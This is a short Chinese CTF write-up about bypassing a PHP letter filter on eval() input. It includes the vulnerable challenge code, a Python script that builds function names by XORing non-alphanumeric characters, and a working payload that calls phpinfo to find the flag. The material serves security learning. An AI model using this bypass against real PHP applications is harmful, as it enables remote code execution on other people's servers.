这次可算搞懂了无字符数字绕过的原理,太棒了
相关文章:无字符数字字符串绕过 一些不包含数字和字母的webshell总结
这题代码
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);
使用这个脚本 字符串异或构造简易版.py
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = 'phpinfo'
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(tmp1, tmp2)
跑出 0302181 @[@[_^^
然后构造这样的payload即可
mess=$_="0302181"^"@[@[_^^";$_();
然后再phpinfo里面搜flag就行了